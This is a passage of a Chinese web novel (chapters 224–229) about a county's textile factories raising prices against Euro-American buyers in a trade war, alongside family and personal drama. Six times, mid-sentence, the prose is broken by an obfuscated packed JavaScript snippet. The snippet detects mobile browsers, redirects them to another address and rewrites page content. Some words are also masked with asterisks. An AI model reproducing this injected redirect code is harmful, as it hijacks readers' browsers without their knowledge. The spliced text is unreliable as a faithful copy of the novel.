“一旦失败呢?” “怕失败,不如出门打工!你还开什么厂,为什么不去罗桑厂坐流水线?” 祠堂里一片安静。 族长总结:“跟了有可能赚钱,不跟,绝对会亏钱。我想,该怎么做,大家心里都有数。” 众人点头。目光坚定起来。 族长宣布: “我们生意人,都讲究避谶。各位,既然大家的想法都统一了,那就对着列祖列宗,发个誓吧。” …… 县乡中国,人情社会。 在这个夜晚,不知有多少位天上地下的老祖宗,被迫加班,听了满耳朵赌咒发誓。 为的都是同一件事: 跟着罗厂长抬价,绝不乱搞小动作。 第224章 离婚摊牌&是谁在急 “**少在背后搞小动作!”赵明德捂着额头吼出声。 他嘶哈嘶哈地吸着凉气,赵太举着第二只茶杯,毫不犹豫地砸过来,赵明德扭身闪躲,秘书、司机、助理、保镖等人纷纷扑上来飞挡,现场再次乱成一团。 茶杯碎了一地,赵明德大骂:“你闹够了没有,你知不知你这次得罪了多少人,全都是我给你擦屁股!” 他松开手,满脸血呼哧啦,狼狈万分。 赵太红着眼圈,恶狠狠地指着他:“赵明德!我飞到欧洲来见你,你居然还敢把情人带我眼前?你究竟有没有尊重过我?” 赵明德人在欧洲开面料展会。他一听说赵太又犯了事,立刻要求报表司机助理等人把赵太“请”到欧洲来。 他在欧洲早早置了业,如今住在自己的房子里。 赵明德一辈子爱美色,在欧洲自然也不甘寂寞,以每月五万人民币的价格在当地包了个20岁的美貌留学生。 五万人民币并不多。 但他这样的事业规模,这样的身价,就算找包养,也根本不必真金白银出太多费用,只要晃晃钱袋子,就有大把年轻女孩子趋之若鹜。 赵明德是个残酷又现实的人。 闻言,赵明德挥挥手,对年轻情人说:“你出去逛逛。” 情人温顺地应了声,穿鞋出门。 赵明德又让众人都出去。 门关上,空荡荡的大房子里,只剩下一对怨偶。 赵明德站起身,自己找了棉花消毒水,把额头脸上的伤口都处理了,才转头对赵太说:“阿郑,我是个商人。当年我娶你,你将过怎样的生活,你我为什么结婚,你说你心里清楚,我也以为你心里清楚。” 赵太刚要说什么,赵明德打断她:“你听我说完。当时我图你学历高、漂亮、懂事,拿得出手;你图我家里背景好、条件好、当军官。而且,你说你怀孕了,当然后来我发现你没怀孕,这就是后话了。” 赵太说:“当年,你说你不在乎孩子。你更在乎我。我信了。” “孩子,我想要就能要,我要多少有多少。”赵明德漠然道,“但法律规定,我的太太只能有一个。所以我当然在乎你这个人——在乎你的学历、漂亮,以及懂事。你必须是个体面人,能让我拿得出手。” 赵太惨笑:“你在乎我这个人,在乎的原来是这些。” “当然。”赵明德凝视着赵太,“你扪心自问,后来你达到我的要求了吗?” “你对我提要求?难道你是我领导?” “我当然是。”赵明德坐在沙发上,“你吃我的用我的住我的,还管我要钱。我当然是你领导。我已经比外面的领导好很多。” 赵太涨红了脸。 因为**。 赵明德露出难以置信的笑容:“我的天呐,阿郑,你不会真的这么——”他想说愚蠢,顿了顿,还是换了个词,“天真吧?” 赵太颤抖着声音质问:“这就是你这么多年不回家的理由?” “我只是不回家,我没有和你离婚,我也没在外面生私生子,因为我重情重义,我自问已经尽到责任。”赵明德说,“你德不配位,我也让你在这个位子上待了这么多年。” 赵太冷笑:“德不配位,你连这个词都用上了,你以为你是谁,皇帝?你身上那股傲慢、自大、利欲熏心、好斗、无情、压榨他人,真是熏得人头脑发昏!赵明德,我不明白,你为什么变成了今天这个样子?” “我不是这样人,我怎么可能成功呢。”赵明德非常冷静,“你不能要求我又成功、又是个善良的好人。你这辈子,没活明白。” 赵太说不出话,眼泪沿着保养得宜的面孔簌簌而落。她浑身颤抖。 赵明德说:“阿郑,你老啦,我也老啦。咱们两个,愿意不愿意,也凑合一辈子了,我们心平气和地谈谈吧。你这次闹成这样,王永昌说我也有错。我反思过了。之前的财产分割方案,我重新拟定方案,不会亏待你。” 赵明德一说软话,赵太立刻原谅了他。 她呜咽一声:“我们都这个年纪了,你当真要离婚?” “我不想。不是因为对你有感情,而是因为我不想麻烦。”赵明德说,“但我不离婚不行。一是你联合外人算计我。二是你得罪人,我必须表态——扒衣服!你好歹也是老牌大学生,你怎么会做出这么不体面的事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423940|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵太嗫嚅:“我也是被人挑唆的……” “你别总把错推到别人身上。做决定的不是你?”赵明德不爱听她说话。他的头开始痛,一只手按住太阳穴,另一只手抽出协议,拍到赵太面前,“你看看。” 协议上注明,在物业之外,额外将一处新疆旅游连锁产业拨给赵太。 赵太看了几眼,有点发怯地说:“我得回去找律师他们帮我一块看。” 赵明德轻蔑地笑了声。 赵太又说:“这家新疆旅游公司,在哪里?” 赵明德嗤笑一声。 “如果你问总部的话,在乌鲁木齐。”他半轻视、半不耐烦,“各线路分散在新疆。” 赵太鼓起勇气:“为什么是旅游产业。我想要一个长绒棉产业园,小点也行。” 赵明德拔高了声音:“你还好意思要纺织产业链?你知不知道,你发的那两篇罗桑县羽绒服通稿,得罪了多少人?” “赵明德你喊什么喊,这对你来说算多大损失?” “蠢货!你以为只是我一个人的事?” “你少骗人,几件破羽绒服,能怎么样?” 赵明德深吸一口气。 “几件破羽绒服!被你说的,就跟多少人联手做事一样!你说啊!我能得罪谁?” …… 罗璇撸起袖子给江明映逐条分析。 “罗桑县对欧美打贸易战,为什么大家一定会听我的。” “究竟是谁在急?” “老赵总当然急。毕竟用了他的工厂,资金链上有他投资的科技公司,一亏损就是真金白银。” “王永昌当然急。那是他的面料,一亏损就是真金白银。” “郎峰当然急。你打开互联网看看,他真金白银几千万的新设计营销费用已经砸下去了,上海办秀的场地费也花了,科技公司也跟着老赵总投了,现在关键面料出篓子?他不仅急,他还疯。” “之河大学当然急。从新面料发布到后续的应用研究,多少学科方向啊,多少课题啊,能申请多少国家基金啊,之河大学的排名能往上爬好几个啊,眼看着能建设强势学科,多少人的乌纱帽啊——结果黄了?之河大学能答应?” 第225章 张东尧的转变(一) “至于张东尧——你知道他姐姐的事?” 江明映微微点头:“大家都知道,但大家都装作不知道。” 罗璇安静了好一会。 “他姐姐现在怎么样了。听说手指动了。” “一个已经脑死亡的人。还能怎么样。”江明映反问,“所谓的手指动了动,不过是最基本的刺激反应。” “那她……” “反复插管子,她的面容已经很不好。”江明映说,“张东尧就是造孽。” “张东尧究竟在等什么?” 江明映冷哼一声:“张东尧什么都没有等。他只是没办法自己面对以后的生活。” “你觉得张东尧知道吗。” “他不傻。他知道。”江明映说,“他在骗自己。所以他才急。” “罗桑县要是完蛋了,他得换博士论文选题,今年根本毕不了业。而他姐姐,已经这样了,等不得。所以,张东尧才是最急的那一个。” “所以,这些人,都会帮我。” …… 老戴参加省委党校学习,去了之河。一些文件批复难免延迟。 一大早,各个办公室的门还锁着,张东尧就拿着一份文件等在门口。 老戴刚到,看见张东尧,奇道:“张博士,是什么急件吗。” 说着,他接过张东尧手里的文件细看。 “哦,商会声明。” “是的。我们对欧美集体涨价,需要商会发一份声明。”张东尧说,“我已经拟好,请您审过,我再拿去给赵**审。” 老戴低头仔细看文件。 窗外,清晨的阳光柔和地洒在张东尧身上。老戴翻动纸页,鼻端嗅到一股淡淡的医院消毒水气味。他心头一动:“你昨晚去医院了?” 张东尧不欲多说:“嗯。” 老戴忍了又忍,最后还是装作什么都不知道,轻松地说:“你有什么困难,要向组织提出来。你得相信,这个世界上,不是没人帮你的。大家一起想想办法,或许问题就能解决呢。” 张东尧点了点文件上的涨价字样,笑着转移话题:“有些矛盾是不可调和的。” 他能说什么。 说他亲姐姐用一架破自行车害**毒打他们的亲生父亲? 说父亲意外死亡,姐弟二人拿到一笔保险,最后靠着这笔钱,活了下来? 他和张东娇心里都清楚,有些问题,永远都没法解决。 老戴在电脑上确认过流程,手里翻完文件,大笔一挥,签下名字,把声明文件递回给张东尧。 他接过。 当渺小的罗桑县对上庞大的欧美商业帝国,通过轻飘飘的一张纸,试图反抗。而张东尧满心都是自己的毕业论文。 罗桑县如何,其实他并不是很放在心上,也不认为和自己有什么关系。 他想要实现自己的目标,而当下的一切,不过是他达成目的手段。 老戴搜肠刮肚一番,憋了好半天,憋出来一句:“你去医院,是看望家里人?家人一切都好?” 张东尧简单地说:“还好。” 老戴说:“你过来也有些日子了,我们还没关心过你,是我们工作的疏忽。你生活上有什么困难没有?” 张东尧摇头:“没有。” 老戴“哦”了声,又憋了半天,说:“你也快毕业了。你想过自己的未来没有?” 张东尧很明确:“想留校。” 老戴说:“非之河大学不可?” 张东尧点头。 老戴说:“别的都不行。” 张东尧说:“不行。” 安静了一会,老戴说:“为了离你的家人近?” 张东尧点头。 老戴欲言又止。 半晌,老戴说:“好,那我换个问法:你想过自己要过什么日子没有?” 张东尧沉默很久,说:“希望我的家人健康。” “除此之外?” “买个50平米的小房子,按月领工资,不需要太多,足够生活之外,有点微薄的积蓄,让我和我的家人过上平静的生活……不。这样太贪心了。我只希望我的家人健康,仅此而已。” “全部和你的家人有关?” “是。” 老戴叹气:“所以,你不允许你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423941|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人不健康,对不对?因为,一直是她带着你生活,而你还没断奶,没法脱离她生活,对不对?” 张东尧微微睁大疲惫的双眼。 老戴摆手:“对不起,我是个莽夫,我有什么说什么,你多担待。” 张东尧面色难看。 老戴又说:“你就打算一直这么过日子?” 张东尧站起身:“我去找赵**签字。” 老戴把皮衣往椅子上一丢,三步两步走到门口,大力关上门。 张东尧变了脸色。 他看着老戴,语气破天荒地尖锐:“我的日子,我想怎么过就怎么过。” 老戴嗤笑:“你精神还没断奶,没了精神妈妈,你知道怎么过?” 张东尧的胸口激烈起伏。几秒种后,他涨红了脸,一拳打过去,被老戴轻松地接住,用力摔在墙上。 张东尧的头发乱了,愤恨地盯着老戴看。 老戴说:“你打不过我,你打算怎么办?” 张东尧又伸手打了老戴一拳,又被他重重推在墙上,双手反剪在身后。 老戴松开铁钳一样的手:“说了你打不过我。回答我的问题:你打不过我,那你怎么办?你要**吗?” 张东尧猛地看向老戴。 老戴没什么表情:“回答我。你打不过我,所以你打算**吗?你不活了?你后半辈子一直要和我打,是不是?” 张东尧不说话。 老戴说:“你聪明,我是武夫。你打不过我,你后半辈子就一直要跟我打?你觉得,跟我打,就是你这辈子该做的事?你就打算这么过日子?你活着究竟是为了什么的,就为了被我打一顿,然后你报复回来,打我一顿?” 张东尧愤恨地盯着他。老戴拍了拍手。 “我们的教育真是有问题。”老戴说,“你这样的聪明人,在学校里头学了一大堆,唯独没学过,该怎么把日子过好。你没顺着日子活,你一直在对抗日子。对抗不是目标,你根本没有目标。你现在就像一条恐惧的狗,汪汪叫。你没目标,所以你会得越多,越聪明,你就越茫然。” 第226章 张东尧的转变(二) 张东尧去拧门把手。拧不开。 他深呼吸,冷静下来后,走到办公桌前,目光落在罗桑县商会的声明文件上。 “什么叫顺着日子过,什么叫对抗。我听不懂。” 轻飘飘的一张纸。 贸易战爆发了,欧美要降价,罗桑县为了解决这个问题,选择抬价。 老戴说:“过日子就是走长路。走路的时候踩了狗屎,这脚底板的狗屎就得跟着你一路,抠不干净,洗不掉,你没办法。与其满脑子都是鞋底的狗屎,你还不如带着狗屎继续往前走。” “顺着日子,就是你走路踩了狗屎,能抠就抠,能冲水就冲水,想办法把鞋底弄干净,但实在弄不掉也就算了,该怎样还怎样,专心过好自己的日子。” “对抗日子,就是你反复想,如果我没踩到狗屎就好了,我绝不允许自己踩到狗屎,我为什么会踩到狗屎。弄不干净,你就难受。你难受,你就没办法走路。你过不好自己的日子,你满脑子狗屎。” 窗外,一阵阵工人的喧闹嬉笑声传来。 有人出门上工,有人忙了一夜。无论身处于历史宏大叙事的哪个角落,无论命运之斧是否即将坠落,他们都努力地过好自己的人生。 老戴说:“事已至此,你总要接受的。接受有些人就是会踩到狗屎。接受人的生命就是有长有短。接受有些缘分只能到此为止。然后你要向前看。” 张东尧面孔一震。 他看向老戴,老戴也看着他。 “活着,还是死去。”老戴说,“不是你能选的。这是命运的必然。你必须向前看。” “我明白。”张东尧悲愤地说,“可是我不接受。如果没有踩到狗屎,是不是我姐就能长长久久地活下去?凭什么有些人就是会踩到狗屎?凭什么是我们?” 老戴想说什么,张东尧开口:“你是不是想说,命运的斧头突然坠落,历史的车轮把我们碾成齑粉,有些问题,就是没办法?” 老戴缓缓摇头。 他静静地说:“我想说,你质问得对。如果没有踩到狗屎,或许你姐就能长长久久地活下去。有些人就是会踩到狗屎——这就是不公平。凭什么是你们——这就是不公平。你说得对。” 张东尧怔住。 老戴说:“踩到狗屎,不是你们的问题。” “那是谁的问题?”张东尧下意识问。 “是社会结构的问题,是人类组织的问题,是现行制度的问题,是人性的问题。”老戴看着张东尧。 张东尧说:“试图解决这些问题,无异于蚍蜉撼树。” 老戴点点头:“你是聪明人,是未来的社会精英。我知道,因为你聪明,你懂得权衡利弊,所以你会觉得,蚂蚁晃大树是不可能的。但是,你知道我是怎么想的吗?” 张东尧抬眼。 老戴说:“我会觉得,你们这些聪明人,对不起你们的聪明。因为你们不关心社会,不关心城市,不关心乡村,也不关心外面大街上那些不如你们聪明的、普通人的生活。” 张东尧非常震惊。 老戴坐下。他沉默了一会,说:“东尧啊。在我这个年纪,在我这个位置,我看你,就是看孩子。孩子是社会的希望,孩子不应该吃这么多苦。也不应该遭受这么多痛苦。是我们没有保护好你们。” “我知道你痛苦。我也曾失去亲人。”老戴说,“还有,你知道万小满吗?她是我看着长大的,她**,我也痛苦。但发生的事情发生了,死的人死去了,而活下来的人,要好好地活。” “怀念吗?这是持续余生的慢性病。悲伤吗?不过一场短暂的重感冒。你沉溺于悲伤,不愿意走出来,无异于拒绝治疗。而你是一个聪明人,你觉得,这是你该做的事吗?” “如果你不想遭受这样的痛苦,如果你觉得不公,别人会不会也觉得痛苦、觉得不公?如果你能解决这些问题,以后大家都可以不再遭遇痛苦、不再遭遇不公。睁开眼,好好看看你的周围,好好看看这个时代,你睁开眼,好好去看外面具体的人。” 老戴揪着张东尧的衣服,把他推到窗边,猛地拉开窗户。 高处的风嗖嗖地吹进来,把房间里的文件吹得稀里哗啦作响。 “张东尧,你从小到大,使用了多少社会资源,才成为社会精英?因此,作为社会精英,你的责任要比别**那么一丁点。你对社会的责任也比别**那么一丁点。这个社会还有那么多需要你去改变的事。那么多事情等着你去做!你没空沉溺、没空逃避、没空自欺欺人!去,去让社会变得更好,去让这些人不再遭受痛苦。把你的痛苦汇入大家的痛苦,让大家的快乐成为你的快乐——你得找到自己活着的意义。” 从县政府办公楼的窗户看出去,几乎可以俯瞰整个罗桑县。 张东尧被风吹得面孔发冷。 他伸手一模,满脸都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423942|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰凉的眼泪。 罗桑河的河水还是臭的。罗桑厂还有萧条的痕迹。依然有大片小工厂荒芜着。 拉货的大车隆隆驶过罗桑县的街道,成批羽绒服被拉进库房,如果能卖掉,就会换成钱,人们就能过上好的生活。如果卖不掉,人们只能赚取微薄的利润。 声明被风吹得飞起,张东尧伸手抓住。 上面白纸黑字,是小小罗桑县试图在国际贸易战巨潮中保存自身的微弱努力。 老戴伸出手,又指着窗外:“张东尧,今天你站在这里。你站在这栋办公楼里。我来告诉你——蚂蚁晃大树,就是我们这些人存在的意义。” …… 走出办公室,张东尧掏出手机。有好几个医院的电话。 他拨过去:“不必催,我姐姐的病房费用,我尽快筹了去交。” “……已经交过了?”张东尧睁大双眼。 他站在走廊里。 “有人替我交过了?” 清晨的阳光缓慢地在他身上游移。窗外是工人们的嬉笑声,来往货车的拉料声,卸货的咚咚声。 张东尧看着窗外。 他沉默了很久很久。 对面语气严肃地说了些什么。 “我付了钱,我凭什么不能占用ICU床位。”张东尧拔高了声音。几秒钟后,他有些伤感地说,“……再给我点时间。让我好好想想。” …… 门关上,老戴注视着张东尧离开的方向。 他用座机给赵**打电话:“我劝完了。” 赵**问:“劝得挺好?” 老戴微妙地犹豫了一下:“我觉得挺好。” 赵**称赞:“老戴,你个莽夫,也学会当政委了嘛!我让你去和年轻人谈心,告诉你婉言相劝,你还说你不会委婉,看看,这不是做得挺好嘛!” 婉言相劝吗。 老戴再次微妙地犹豫了一下,语气中有点心虚:“总之我劝过了。” 赵**又说:“我的钱,你帮我交给医院了?” 老戴说:“我也掏了些,咱俩的我一并交给医院的。话说回来,嫂子同意你掏钱?” 赵**尴尬地咳了声:“莽夫!你没有小金库吗!” “你藏哪里的。”老戴压低声音,“我的都被我老婆掏出来了。” 赵**又咳了一声,含混不清地小声说:“现金,套个防水袋,塞抽水箱里。” 老戴哈哈哈笑起来:“还得是你们聪明人!” 第227章 罗桑县与欧美的正面交锋&罗璇撂狠话 罗桑县的商会迅速公开发布提价声明,旗帜鲜明。 标志着罗桑县与欧美在纺织品与服装战场开启了正面交锋。 贸易战打响,举国哗然。 依照行业惯例,省市的新闻媒体于声明发布前一周拿到草案,因此早有准备,新闻、消息、特稿第一时间见诸报端。 罗桑县异常热闹。 休息时间,报刊亭门口人头涌动,报纸一经刊印,迅速销空。小电视连夜加班,如今已经半哑了嗓子: “——近些年,全球层面的国家博弈永不止歇,之河作为全国纺织品与服装出口份额最大的地区,不断遭受巨大冲击。” “——2005年1月1日,美国纺织品与服装协议(简称ATC)在全球范围内正式生效,取消全球纺织品贸易配额。” “——2005年4月4日,美国启动针对三类中国纺织品进口的保障程序,中外纺织品战争正式打响。” “——2005年5月18日,美国纺织品协议执行委员会以‘市场扰乱威胁’为由,对来自中国的化纤制针织衬衫、化纤制裤子、棉及化纤制梭织男衬衫和精梳棉纱采取纺织品特别限制措施。” “——2005年8月1日,美国宣布将合成纤维布、套衫、**制裤子、针织布、胸衣和晨浴衣这6种纺织品的设限决定日期推迟至8月31日。” “——期间,中美从6月17日举行了第一轮正式磋商,经过七轮博弈,直到11月8日,中美双方在英国伦敦正式达成协议。” “——从2006年1月1日到2008年12月31日,美国对从中国进口的11类服装产品和10类纺织产品实施数量管理。此后,美国的手越伸越长,对中国的管理数量逐年增长。” “——2006年,美国对中国的管理增长率为10%—15%;2007年,管理增长率为12.5%—16%;2008年,管理增长率为15%—17%。” …… 关系王**换炮,地摊变成小推车。 他吆喝:“美国佬的手越伸越长~” 他的仓库里还屯着一批买不掉的菜刀,此刻全翻了出来,高高举起一把,大声叫卖:“大刀~向~洋人们的头上砍~去~!来来支持一下我们的祖国!把美国佬的手剁掉!” “便宜不?” “全场1折!菜刀有价!爱国无价!” 关系王的菜刀火热销售,气得县里的厨具老板直翻白眼。 厨具店老板跑回商业街,急忙在门店大门上悬挂五星红旗一面。 几个小时后,关系王和报刊亭老板谈妥,自掏腰包,在报刊亭旁边立了个巨大的易拉宝,专门用来贴贸易战最新消息。 这下子,罗桑厂门口的小广场更是挤得水泄不通,罗桑县商业街门可罗雀。 报刊亭女老板笑得合不拢嘴,关系王得意洋洋称商战就是朴实无华。 商业街门市的老板们急了,迅速商讨后,统一开始放国歌、挂国旗,也在店外立起巨大展板贴新闻。 有些人家没备着国旗,关系王骑个自行车悠闲地穿过商业街,挨家挨户问: “买红旗不?价格可谈啊。” 等到中午,罗璇等人出来吃工作餐,猝不及防地陷入五星红旗的海洋。 大家站在国歌里,环顾四周比人还高的新闻易拉宝,缓缓张大嘴巴。 记者们蜂拥而至,也在红色满满的罗桑县面前吃了一惊。 有个记者刚刚注册新浪微博,在微博里这样写道:“我们的人民,懂得国家大义,拥有家国情怀,我们谁都不怕!” 配图是罗桑县挂满五星红旗的商业街。 …… 针对本次集体喊价,记者们纷纷采访相关人。 罗桑县领导班子通过商会之口,申明态度: “这场谈判,罗桑县争取的是生存和发展权;而美、欧是在争取支配权。” 罗璇对着话筒,义愤填膺:“口口声声讲**,讲平等,但本质上,他们是想支配同罗桑县的贸易。” 她侃侃而谈:“如果我们不断妥协,我们终将沦为低附加值商品的血汗工厂,终将陷入‘越增长越贫困’的陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430892|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阱。因此,我们必须反击。” 记者问:“您不怕影响后续的经济往来吗?这风险是不是有点大?” 罗璇理直气壮:“历史是不断螺旋重复的。国家与国家之间的贸易往来是长期和连续的过程,所以,即使有所博弈,也是重复博弈,流程就是:先斗争,再博弈,然后和解,再斗争、博弈,和解,回环往复。我们不过顺应人类历史规律罢了。” 这段话是张东尧写给罗璇的,先盖好大一顶帽子,再来一套甩锅无影手,丝滑小连招下,官媒和党报的记者都无奈地笑了。 而面对网媒,罗璇是另一套说辞: “风险确实不小,但值得。在当今的局势下,站在刘易斯拐点上,中国制造业日益艰难,转型与升级已成必然。今天不反制,罗桑厂将永远成为欧美寄人篱下的血汗加工厂,又加班,又搭料,不赚钱,不睡觉。我们的孩子也将重复这辛苦的命运,天天加班没钱赚,然后大骂我们没本事。今天不反制,明天悔青肠子!” 一番慷慨陈词,网媒记者眼睛都亮了。 同一时间,祝峻牢牢盯住互联网动态。此番采访,既是对罗桑县对欧美贸易战的剖析,也是罗桑厂落地“互联网+”项目的预热。 于是,这边采访还没结束,那边网络上的热度已经逐节攀升。 “又加班,又搭料,不赚钱,不睡觉。” “今天不反制,明天悔青肠子” 两个词条在互联网疯传。 最后,记者们说:“谈判当前,您想说些什么呢。” 罗璇清了清嗓子。 她看向镜头。 “每个国家在国际贸易中都面临着贸易自由与贸易保护的两难境地。如果贸易双方不合作、只是博弈,双方都将因为贸易战而受到损害。” “反之,如果贸易双方真诚地从互惠互利的原则出发,都减少壁垒限制,那么我们都会从贸易自由中获得最大利益,也能增加全球贸易的总收益。” “我们既是竞争的对手,又是合作对象。我们并非零和博弈,而是正和博弈。” 第228章 蚍蜉撼树&拖死罗桑县 采访结束,祝峻第一时间打电话给罗璇:“热度不错,罗桑厂的互联网项目可以上马了。” 生活不易,罗璇叹气:“要是能直接换成钱就好了。这互联网啊,我至今没搞清楚,怎么换成钱啊?” 祝峻笑:“眼光放长远些。” 罗璇顾影自怜:“我做事的驱动力主来自死到临头。” 顿了顿,祝峻问:“你婚后生活还好?” 罗璇想了想,说:“他给了我几笔贷款。” 祝峻斩钉截铁:“江明映现在日子不好过,手上抽不出现金流。男人没钱还有什么用,你趁早另做打算。” 罗璇吐槽:“这话你当着他的面讲。” 两人结束通话,林招娣的电话进来了。 “我的淘宝店突然来了很多单。”林招娣兴高采烈,“江南皮革厂的黄鹤没骗我!他果然是给公司采购文化衫,说上次的样品质量非常好,在我这订了5000件!” “怎么这么突然?” “江南皮革厂做出口皮包的,遭遇外商压价,现在看罗桑县对欧美反制,备受鼓舞,决定做一批文化衫给工人们增添士气,如果罗桑县反制成功,他们也依样反制。” 罗璇“啊”了声:“这听起来太像骗子话术了!” 林招娣唾道:“他已经打款了!” 罗璇眼睛有些发直:“互联网还真能换成钱啊?” 林招娣冷笑一声:“瞧不起你妈?” 她结束通话。 电话又不断进来。 刚刚结束采访,在众人的大肆鼓励下,罗璇被哄得找不到北。她备受鼓舞,喜滋滋打开电脑看新闻: “让我看看新闻是怎么夸我的。” 结果新闻标题冲进她眼睛,令她眼前一黑: “罗桑县集体喊价,是否蚍蜉撼树?” …… “罗桑县想要反制欧美,就好比是蝼蚁试图晃动大树。”Nate笑着对江明映说,“在中国有个成语,叫……” 他想了半天。 江明映的脸上挂着无懈可击的微笑:“蚍蜉撼树。” 两人坐在长桌的对面,都抱着手,看向彼此。 本次要求罗桑县压价的,一共有7家大型贸易公司和12个买手,他们请来同时了解中西文化的精英人士作为代表与罗桑县谈判。 于是,在官方正式谈判前,在外贸公司与罗桑县双方力量的推动下,江明映与对方达成一次私下会面。 这人竟然是Nate。 江明映说:“我真没想到,和罗桑县谈判的,居然是你。” Nate掸了掸衣摆:“他们请我。这是一次让我提升身价的好时机。” 江明映说:“宗先生知不知道,你即将作为外贸公司和买手的代表,和我们谈判?” Nate怜悯地看着江明映:“Adrian,你究竟在天真什么?难道你以为,宗先生在中国的资金,只投给你一个人吗?” 电光火石之间,江明映意识到,资本无处不在。而这些外贸公司,层分缕析,源头总有宗先生的影子。 宗先生两头下注,而Nate敏锐地找到了向上爬的机会。 但江明映的笑容没有任何变化,如同焊死在脸上。 能够永远露出虚伪的职业笑容,是从名校生蜕变为阶层精英的第一课。 江明映不轻不重地说:“宗先生正面临抽贷危机,你分心去做别的。你就是这么捍卫客户利益的?” Nate说:“如果我赢了你,你的位置给我坐。我自然会捍卫宗先生的利益。” “是吗?”江明映抱着手臂,“如果是为了往上爬,我不建议你这趟蹚浑水。” Nate好奇:“为什么?你就这么笃定,你和罗桑县会赢?” 江明映反问:“你觉得你会赢?” “当然。”Nate指了指日历,“你知道我为什么要把谈判战线拉得这么长?” 江明映看着他。 “因为现在已经是三月份。因为中国的冬天即将过去。”Nate稳稳地说,“罗桑县的羽绒服,无论卖不卖给我们,都必须卖给我们。” 他露出笑容,牙齿雪白:“你死定了。” …… 正如Nate所言。 拖到三月底,北方冰雪消融,南方暖意渐起。 眼看着羽绒服在国内即将过季,如果无法外销,就很难在国内清货。大小工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430893|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂颇感压力,集体质疑的声浪越来越大。 罗璇带着关系王一家家上门安抚。 日子还在无情地过去,随处可见的新闻立牌,还在忠实地报道每日进展。但事实上,这场卷进无数人的谈判,没有任何进展。 国际贸易形势波澜起伏,双方僵持不下。 整个罗桑县渐渐弥漫着紧绷的气息,就连老戴都长出了黑眼圈:“有点顶不住啊。” 走在路上,见到条狗,老戴都要踹一脚: “这么闲,去跟罗厂长走访去,去去去!” …… Nate打的就是逼迫罗桑县羽绒服过季的主意。 于是,眼看着进入四月,官方谈判的时间却被Nate一次又一次地以各种理由后延。 罗桑县商会几次提出**,都被对方无视。 双方几轮传话,江明映与Nate在谈判前达成了第二次私下会面。 “还不松口吗。”Nate意气风发,“再不松口,你们就死定了。” 江明映抱着手臂说:“如果真答应了你们,把羽绒服压到9.2美金,罗桑县才是真死定了。你们口口声声说自己讲**,可如今,你们站在产业链的控制端,支配我们的时候,怎么不讲**了?” Nate笑嘻嘻道:“**是用来给你们设立贸易壁垒的,不是真的为了让你们活得好的。资本逐利,你们活得好了,我们可就赚得少了。你为什么讲这样天真的话?” 江明映平静地说:“你说得没错,资本逐利。所以,是你死定了,不是我。” Nate嗤笑:“你们不怕当季变过季吗?” 江明映说:“罗桑县不做国内市场。我们销往全球。” “但如果我们不买你们的货,国内也不买你们的货,你们就完了。我是采购方,我能拖死你们。” “恰恰相反。越是拖延,你越是必须买。我们是供应方,我们能拖死你。” Nate仿佛听见什么最好笑的笑话,哈哈哈大笑起来,笑得前仰后合,连眼泪都流出来了。 “看来你们实在没办法了。”Nate揩去眼角的泪花,“除了讲硬话,你还会说什么?” 第229章 罗桑县的反制&罗桑县大胜 “我还会说,你是个蠢货。” “为什么?”Nate身体前倾,虚心讨教,面带讥讽。 